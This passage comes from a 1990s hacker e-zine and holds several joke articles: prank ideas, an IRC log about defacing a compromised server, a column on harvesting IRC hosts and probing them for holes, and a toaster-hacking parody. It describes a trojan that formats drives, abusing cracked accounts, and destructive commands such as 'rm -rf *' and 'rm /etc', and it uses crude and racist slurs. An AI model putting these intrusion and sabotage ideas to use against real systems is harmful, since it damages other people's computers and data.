    3. Write really nifty little utils in quick basic (if your still stuck
    on a dos box)... nothing is niftier than writing a shitty program in
    qbasic that uses a captured installation display screen from a game
    or something (or modify it to say mortal combat 3 or soemthing, the
    little warez kids cum from this) and really make it format their
    drive... yes this is lame but you KNOW we all get this bored at one
    time or another in our lives.
    [ed note: Super Street Fighter is more Fuxin' Eleet]

    4. Use Irc. Yes this is the lamest of the lame. #hack. Where
    ignorance is shown and knowledge forgotten. If you want immaturity, brattiness, kids playing with their krad bots or scripts, or your
    typical op wars, go to #hack, #phreak, #2600, or my
    <coughcoughnotcoughcoug> favorite, #ansi. Yes #ansi people with any intelligence know it is american national standards institute, dorky
    little kids that have no life (we have no lives either but we arent
    little kids ... we are middle kids.. ?) [ed note: if anyone can figure
    out what the hell he is talking about, email me] think it is an art
    form and a way for them to be cool... their idea of coolness is being worshipped by pervert ed, immature, talentless, dweebs with pcs.. most
    of these peopel are aol and prodigy rejects... ...anyways... this is
    something to do when you are SUICIDALLY bored. [ed note: actually
    suicide might be a better solution]

    5. Get on one off those cracked accounts (see number 1) and type
    something like archie -s a > hackedpws.k00l or archie -s . > HEY.YOU.STUPID.SYSADMIN. BLOW.ME (that is sure to get his attention).
    If you are really bored, you can edit their .login to cat the file when
    they login (this being archying < sp> a or . will probably give you a
    few thousand file names and if the owner of the account can even login
    (they havent checked user quotas yet obviously) so that they must wait
    an hour for the thing to finish (but I'm not sure it never has for me
    because i just telnet), it may just flood their com ports (or if you
    have root, do archie -s a, archie -s ., archie -s (whatever you want to
    to get a LOT of entries) > motd or >.login and make it so EVERY ONE
    sees this when they login... unless they are on like a 2400... This is something to do when your bored... [ed note: do I notice a trend
    forming?]

    6. Go onto Irc, and into #hack and let ReDragon convince you to write an
    article for some magazine (JUST ANY ARTICLE) .. and spend the next
    (however much time I spend on th) writing an article filled with
    strange and useless dribble because you are too lazy to do a real
    article.. *WARNING* *WARNING* DO THIS IN ONLY EXTREME EMERGENCIES
    *WARNING* *WARNING* [ed note: 6. go onto irc, randomly msg someone you
    don't know to see just how lame an article someone who is not FEH can
    write.]

    7. Ftp to rs0.internic.net and retr all of the domain name lists. Spend
    the next four or five hours reading the com.zon file and jack off to
    the point of orgasm to it .. NO I AM NOT PATHETIC, YOU DO IT TO YOU
    JUST REFUSE TO ADMIT TO IT. Do this all the time ... .this doesnt mean
    your bored, you are just creative.
    [ed note: you are just an idiot]

    8. Call up the local noq and say things like
    [ed note: I wish I knew what a noq was]
    "Do you Deliver?"
    "Yeah, I'll have a pair on rye, hold the mayo"
    "Umm yes is this the roadkill cafe? I just hit some guy with a
    Bell (or whatever your local telco is) Helmet and I think he would be
    tasty charred"
    "Hey baby what are you wearing?"
    "Are you wet?"
    "I've got a big phat pole ready for ya.. standing straight up
    just for you"
    Tape record them... turn them into .wavs or .aus and put them
    on your home page... this is something to do when your bored or when
    you are PATHETICALLY bored (YES I mean if your on a teleconference).

    9. Hack your school's net and make i automatically go to modem doom
    everytime someone clicks the left mouse button (hey its fun and it was
    only ONE of the reasons I had a remark "DANGER TO COMPUTERS" in my
    entry in my school's computer so it is pretty kosher

    10. SPELL CHECK this fucking article because I'M NOT GOING TO.

    11. If you have www access go to some of the following sites:
    http://www.oceania.org | a brilliant scientific endeavor to
    create a new, truely democratic society on a synthetically made island.
    http://www.smallpenis.org | for those people afraid of being
    less of man.. they have support groups AND penis pumps!!!!
    http://www.wookie.net/l0ra | A ... home page (no comments ..
    hehe) http://www.something.org | A really cool site but I cant remember
    the url so i wont put it here.. im sure you will find it

    [ed note: 12 was too lame for even FEH to print]

    13. Watch tv. Scary huh?
    14. Irc and go to #netsex as ILLFUCKU. notice the channel that you want
    some one for phone sex. see if you get kicked or invitations. heheh.
    15. Read this file (you must be bored d00d).
    [ed note: if you search for //, you will find the start of the next
    article] 16. See how many of these things I type.
    [ed note: hint, then answer is 18]
    17. Add another to your count.(see previous item)
    18. EOF
    YEAH IT WAS LAME.. YEAH IT SUCKED.. YEAH IM TYPING IN ALL
    CAPS.. SO WHAT?.. I WAS BORED... ARE YOU SATISFIED rEdRAGON???? ( :) )
    [ed note: pretty much]



    // 10. The Infamous Tack Story by Hotrod

    The story you are about to hear, it has been determined, has been
    spread by word of mouth to at least 5 states, and parts of Canada.
    Whereever I go, people who I have never seen before ask me about the
    tack story. I have no idea why this is the case - the story might have
    been funny once, but I'm really rather sick of it. My friends (and
    apparantly these people I don't know, who ask me about it) think this
    story is the funniest thing they've ever heard. I think they are nuts.

    The following story is 100% true.
    Dramatis Personae:
    Myself (Hotrod)
    Chris, A friend
    Zafir, An acquaintance
    [ed note: is he the pan flute dude?]

    The Setting:
    Junior High School, Massachusetts.
    Lunchtime, 8th grade

    Ok, here goes. It was a normal lunchtime, really. I had gotten in
    line to get the "Hot Lunch", which is the generic, "nutritionally
    balanced" meal. On this fateful day, the hot lunch was manicotti with
    meat sauce. A kid I knew, and had no reason to distrust, came up to me
    while I was in line and offered to sell me his hot lunch, without the
    milk. (Milk came with the hot lunch.) Of course, I'm thinking to
    myself "This kid must be stupid. He wants to sell me his hot lunch,
    which costs $1.30, for 50 cents, while keeping his milk, which he could
    have bought for 35 cents by itself. [ed note: a savings of -45 cents]
    I did know that this kid WAS stupid, however. So I bought the lunch
    and went to sit where I always sat, next to my friend Chris. [ed note:
    not erikb] For a few minutes, everything was fine. I was eating and
    enjoying (as much as one can enjoy a school lunch, anyhow) my
    manicotti. Keep in mind, that manicotti is soft, it's something like
    lasagna. [ed note: i hope nobody from Italy is reading this] You
    don't really chew it a whole lot, you just squish it around in your
    mouth and swallow. Then it happened. I put the manicotti into my
    mouth. [ed note: that's not the climax of the story, he in fact put
    many pieces of manicotti in his mouth that day] I squished. I
    swallowed. I grunted. I yelled. Something Sharp! Words that will live
    in infamy in the minds of my friends. [ed note: the words
    'huuhuhuhhuhu' also live in infamy to his friends] The dialogue went
    like this: Me: [In a very hoarse voice] "Argh@!# Something Sharp!
    Something sharp in my throat!"
    Chris: "What?" [ed note: still not goggans]
    Me: "Argh it kills!"
    Chris: "What is it?" [ed note: this time it is erikb saying it]
    Me: [Grabbing Chris' chocolate milk and taking a swig] "I can feel it
    like grinding down my throat.. You know when you get like the sharp
    corner of a Dorito or something? God it kills! It feels like a staple
    or a tack or something!"
    Chris: [Laughing a bit] "A tack? Zafir probably put a tack in it!"
    [ed note: being a minor, Zafir was out of jail on his 18th birthday]

    Anyhow, thats about it. It hurt going down. It never hurt again.
    To the best of my knowledge, I have not shit out the 'tack'. No proof
    has ever been found that there was a tack in my manicotti, [ed note:
    manicotti in general should not hurt to swallow] although Chris swears
    that he talked to Zafir, and Zafir admitted to it. I think Zafir has
    since been deported. I hope so, anyhow. Should I ever shit the tack
    out, it will be so noted in a future issue of FEH. [ed note: I have a
    pencil end in my right shoulder]



    // 11. The Birth of FEH by SnoCrash

    So ReDragon /msg's me today. He goes "write the history of FEH befor
    midnight tonight" (not in those exact words, and in all caps n stuph,
    but you get the point).

    fEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEh
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ThE HiStOrY Of FeH -- PaRt 1 <<ThE BeGiNnInG>>
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    (FuXiN' ElEeT HaXoRs)
    A BeDtImE TaLe By Da MaStUr Of DiSaStUr:
    SnOcRaSh
    Okay, enough with this AlTeRnAtInG CaPs crap. It makes my head hurt.
    [ed note: my feelings exactly]
    (DISCLAIMER: FOR ALL YOU KNOW, NONE OF THIS COULD BE TRUE. I AM TRYING
    TO REMEMBER WHAT HAPPENED AND MY MEMORY SUCKS AND I
    EXAGGERATE SO DEAL WITH IT) Well, it all started for me about
    a year ago. I was bored shitless as usual on a Sunday
    morning, and was checking out <name witheld>.edu. I had an
    IRC window open as well, as I almost always do. Here's the
    log from that fateful day (re-formatted a bit to make it more
    readable): [ed note: whenever monumental history takes place
    on #hack, log it]

    <SnoCrash> i found a system that still has the ftp -n bug!!!!!
    <ReDragon> sunday afternoon is warez ftping days
    [ed note: being as this was a sunday, ReD was probably still a bit
    drunk] <SnoCrash> holy shit!!!
    <SnoCrash> i feel sorry for the sysop
    <SnoCrash> i'm gunna mail him and tell him
    <SnoCrash> this is sad
    <noxit> last root i haqued
    <noxit> i left mail describing how to do it and how to fix it
    <noxit> sad
    <ReDragon> haha
    <Okinawa> noxit; not me, I just rm /etc and let them figure it
    out <SnoCrash> rm -rf *
    <SnoCrash> ha
    <SnoCrash> lame
    <SnoCrash> well...
    <SnoCrash> what should I do
    <Okinawa> no, not /* but just /etc
    <SnoCrash> im gunna change the banner explaining what to do
    <Okinawa> Were all the configs are ;)
    <ReDragon> if you dont rm the site, they will never learn how
    dangerous hackers can be and the importance of securing their site
    <SnoCrash> Oki: i know
    <SnoCrash> and rm every user
    <SnoCrash> there's only 10 users
    <Okinawa> put in the l0ck motd
    <oof> red: gimme warez
    [ed note: note oof's critical role in FEH's inception]
    <SnoCrash> they all have empty home dirs anyway
    <Okinawa> put in a ILF motd
    <SnoCrash> cept for the standard shell shit
    <ReDragon> oof: whatcha want
    <ReDragon> put in a FEH motd <-- the first public mention of
    FEH <noxit> ln -s /vmunix /etc/motd
    <rS-449> noxit: haha
    <loq> oki: if you rm /etc, where are ya gonna put the ILF motd?
    <Okinawa> is there a FEH motd?
    <grayarea> donut put in an ilf motd :)
    <oof> red: i dunno
    <grayarea> use feh :)
    <SnoCrash> yeah
    <ReDragon> i will release an official FEH motd later today
    <SnoCrash> feh
    <Okinawa> loq: true
    <SnoCrash> I'll make up a temp one now
    <Okinawa> grayarea: why not?
    <SnoCrash> **Hacked by a FEHWB**
    <SnoCrash> ha
    <grayarea> cuz they r in my new issue and if anything is done
    in their name i will be visited
    <loq> gray: dont you like being visited?
    <loq> :)
    <noxit> "visited"
    <noxit> aliens of phedz?
    <grayarea> and #hack has caused me more than enuf contact with
    feds for the year already :)
    <noxit> s/of/or
    <grayarea> loq: i hear they come at dawn. ewwww
    <grayarea> loq: i prefer evening appointments
    <loq> heh
    <SnoCrash> if I put up a FEH motd, can I be a FEH?
    <loq> mine come at 11pm
    <ReDragon> Sco: you already are in FEH you moron
    <SnoCrash> oh yea
    [ed note: i actually said Sco, not sno... but he never realized it]

    So there it was. I was in FEH.
    I made a temporary FEH /etc/motd, call it FEH motd version .0000001b.
    Here is how it looked:
    ---------HI!!! WELCOME TO <name witheld>, NOW OWNED BY FEH----------
    [TODAY'S NEWS]
    Your system has been hacked by a member of FEH... Fuxin Eleet Haxors.
    I am not particularly proud of this hack because it exploited an
    extremely old bug that was patched many years ago. I have left a file
    in the root directory called "how.to.fix.the.bugs.you.have" please read
    it and follow the directions in it on how to fix the bugs you have. I
    am very sure that your system has many bugs, judging from this and the
    version of sendmail you are running. Thank you for your time...
    --- Anonymous member of FEH who just fuxored up your system real bad
    Not exactly beautiful, but it worked for the site it was placed on.
    ReD then created the FEH motd versions 1.0 and 1.1, which is located in
    this issue within the wopr hack.
    [ed note: oof never got his warez, if you have any, please send him
    some]



    // 12. An Interview with Dale Drew by ReDragon
    [ed note: good to my word, this is completely unedited for content, only
    for formatting.]


    ReD: will you do an interview for FEH issue #1?
    d_d: I dont do interviews, sorry
    ReD: just this once dale. only a few questions
    ReD: its not like you've NEVER done an interview
    ReD: dont even think of it as an interview, think of it as just
    answering a few questions where the answers get published
    d_d: haha.. and the difference is?
    ReD: well, you dont do interviews. but maybe you do published question
    and answer sessions.
    ReD: so why dont you do interviews?
    d_d: Youve got better things to do than interview me
    ReD: when you let me interview you, you keep me out of trouble :)
    ReD: so why dont you do interviews?
    ReD: well
    d_d: too many misquotes
    ReD: pleez
    ReD: i am not going to misquote you
    ReD: so will you answer just a few questions for me
    d_d: depends on the questions
    ReD: are there any hackers that you particularly like or dislike?
    d_d: No.
    ReD: Do you think the people you are trying to bust care about
    learning about the phone system or are they just trying to make free
    phone calls?
    d_d: There are to many LEGAL ways to learn about phone systems these
    days to put up with fraud.
    ReD: So do you think 10 or 20 years ago some phreaking may have been
    justified in order to learn?
    d_d: I never think that committing fraud is a justifiable way to learn
    anything.
    ReD: Does it cost your company anything when a person makes a free
    phone call? d_d: Making use of a service illegally that would
    otherwise be billed for certainly costs the company money
    ReD: I understand there is a loss of income from the consumer since
    they are not paying, but is there any expense to the phone company for
    that call and if so can you estimate the cost?
    d_d: I am not in phone fraud, so I wouldnt be able to estimate
    ReD: So what is your job description?
    d_d: Data Security
    ReD: Can you expand on what that encompasses?
    d_d: Later.. Ill be back
    ReD: do you know when?
    <d_d drops connection>



    // 13. "Hacking Made Easy Using Scripts" by Seven Eleven

    HacK1nG Mad3 EZ Uz1Ng Skr1PtZ Part I by Seven Eleven (711@sec.de) =======================================

    Welcome to our new column, dear reader.

    In the software industry, everything is getting easier -
    easier to use, easier to handle. The keywords are "Plug and Play",
    the new WinDos 95 and "Don't think but drive (on the information superhighway)".

    Now everyone can get on the Internet, your grandfather, your 4 year old
    sister and even a coffee machine in Cambridge. There is no need to be
    smart, no need to know anything about computers, and no need to have a
    brain.

    With more and more people on the net, more and more want to play
    around and learn about other systems by getting into them, formerly
    called "Hacking".

    To make those tries possible, we are bringing you easy to use and
    always working step by step instructions and scripts!

    There are 3 major steps to succeed, which are similar to hitting
    on a girl:

    1) Get a list of all visible targets
    2) Check if there is an easy way of scoring
    3) Try gettin' into!

    Today we will take a look at 1) and 2). 3) will follow in the next
    issue.

    Since all most newsbies know about is IRC, we will try to get a list
    of visible targets through IRC!

    Here is our great script:

    ------------------ cut here --------------------------- cut here
    --------

    # IRC Host Leecher 1.0 by Seven Eleven (711@sec.de)
    #
    # This little one liner gets you all hosts that are currently on IRC
    # and sorts the output nicely.
    #
    # This is especially nice if you plan to use our Host Checker.
    #
    #
    # All you have to do is this:
    #
    # Start IRC
    # /SET LOGFILE rawhosts
    # /SET LOG ON
    # /WHO **
    # /SET LOG OFF
    # /QUIT
    # $ <Name_of_this_Script> rawhosts > outputfile
    #
    # Have Fun! :-)
    #
    #
    #!/bin/sh
    cat $1 | awk '{print $4}' | awk -F@ '{print $2}' | sort | uniq


    ------------ cut here --------------------- cut here
    --------------------


    Also try to use an old or modified server that won't kill you when you
    list too many names! It used to be easier some months ago, but you
    should still be lucky! After all, it's good if not too many Lamers get
    as far as you, isn't it? :-)

    If everything went fine, you have a wonderfully nice list of hostnames.

    If you want to do it the elite way, try writing your own elite script, executing a command with each of the hostnames. Possibilities include:

    - Check with rpcinfo -p which services are available.
    Some might be vulnerable!

    - One vulnerable daemon is mountd. Figure out yourself how to probe it!
    (First Exercise!)

    - Use ypx or ypsnarf to test their ypserver's security. If it's open,
    either get in or --> social engineer the admin by telling him bugs
    (lame!)

    - Check with the 31337 SATAN!@# (available at a WaR3z near you!)

    - Try some sendmail bugs.


    If the above ways sound to hard for you, do it the easy way.
    Social engineer the administrators!

    - Sending mail to root@hostname requesting for an account
    (Be prepared for many flames and your old account to be shut down)


    If you should surprisingly be successful, drop me a mail and tell
    me about your story! If not, stay tuned for the next issue of...
    HacK1nG Mad3 EZ Uz1Ng Skr1PtZ!@#



    // 14. How to Hack A Toaster Oven by bl0ke


    HacKZoRiNG Ah ToaSTeR OOOHHVeNN)#(*%)(*% ========================================
    Author:
    bl0ke:#$%HS@#H:dat niggah bl0ke:/home/bl0ke:/bin/tcsh
    (k)opywr0ngeded 1995


    +--------------------------------------------------------------+
    | [=ThiS iS THu DEFiNITiVE GuIDE TeW HAxORiNG A ToaSTER)#(%*=] | +--------------------------------------------------------------+ ****************************************************************
    *******The Author of this text takes no responsibility for the**
    *******actions that are performed on toaster ovens to try and***
    *******obtain an access which the superuser does not want a ****
    *******regular (l)user to have access to.***********************
    *******The author also notes that this text is allowed only*****
    *******to be used as a .motd after the site has been hax0red.*** ****************************************************************

    ^^^--------NoTiCE MuH DOpE K-RAD KiLLa AK-AkII SKeeiLLZ()*#$


    /*

    This text covers the basics of hacking the Proctor & Silex
    MoDEL:0225 SERiES:b4588 TyPe:02

    This specific toaster handels 120 Volts A.C. *ONLY* 1400 WATTS

    */

    CoNNECTiNG:
    -----------

    When CoNNECTiNG TeW SuCH A ToaSTER On ThU iNeT YeW WiLL b ProMPtED
    4 aH LoGiN AnD PaSSwErD. ex:(This is a capture of a login.)



    +-------------------+
    | PROCTOR & SILEX |
    | M:0225 |
    | S:b4588 |
    | T:02 |
    +-------------------+


    LaHGiN:bageL-n-KreAM/CheZE
    PaSSWeRD:*************************************


    LaHGiNN GRaNTiD
    ***************
    ------------------------------------------------------------

    P&S VeRSiON 666.9.MuRRY_LenDER(*REVISION*)

    ------------------------------------------------------------

    login on tty[tOaST]
    last login from BAGeL_BaKERY.COM on tty[ChEZe] at 6:43a.m.

    :/etc/motd not found


    1: OFF
    2: ToAsT StART
    3: BRoWN
    4: BuRNT
    5: LiGHT
    6: UNiX TyPE SheLL ENViRONMEnT




    If YeW GhET THiS YEW ArE COOL)(#*$ Ok NoW CHEwZe No. SiX. AND RuN NE
    Of ThU 8LGMz. They WeRK. DeW NoT WeRRIE BoUT WhUT THU 8lgM SaYZ iT
    WiLL STiLL WeRK oN ThIS SYSTEM. AlLLL THu 8LGMz DeW()#*%&( ThE OtHER
    CoMMANDs R NoT ImPOrTaNT.

    SoME NeaT-O ThINGS. YeW CaN TaP the /dev/ToaST-N-CheEZe. YeW CaN
    FiND A FeW PRoGRAMs ThAT ArE GeWD FeR ThIS SuCH SYTeMM.

    ftp:ftp.elite.warez.feh.OrG

    /pub/hax0ring_WaReZ/ToAsteR_HaxoRiNG_WaREZ

    P&S_ToAsTeR_ReWTKiT.TaR.GZ -RooTKiT FeR ThiS TYPE o ToaSTER PSNiFF.GZ -/dev/ToasT-N-CheEZe SniFFAH


    SoME DeFUlTZ:
    Login:Password
    ++++++++++++++
    bageL-n-KreAM/CheZE:YuMMY
    PoPALeNDER:STiNKY_Joo
    POaCHeD_EGZ:HooKGNOZe
    root:root
    lpd:lpd
    guest:hymienotyew


    +======================================================================+

    ThIS CoNCLuDES ThU DoPEST ARTiCLE On THu FACe O ThU PlaNET)(#*%)(*%
    I WooD LiKE TeW GREaT:
    Murray_L of the BagelBoyz o HymieTowN.
    BuRnT-T of The BuRNT ToasT PoSSE.
    AnD ReDRAGoN N ShIT.

    PeSE OuT




    And on that uplifting note, the first issue of FEH is complete....
    Thanks for reading.

    - FEH

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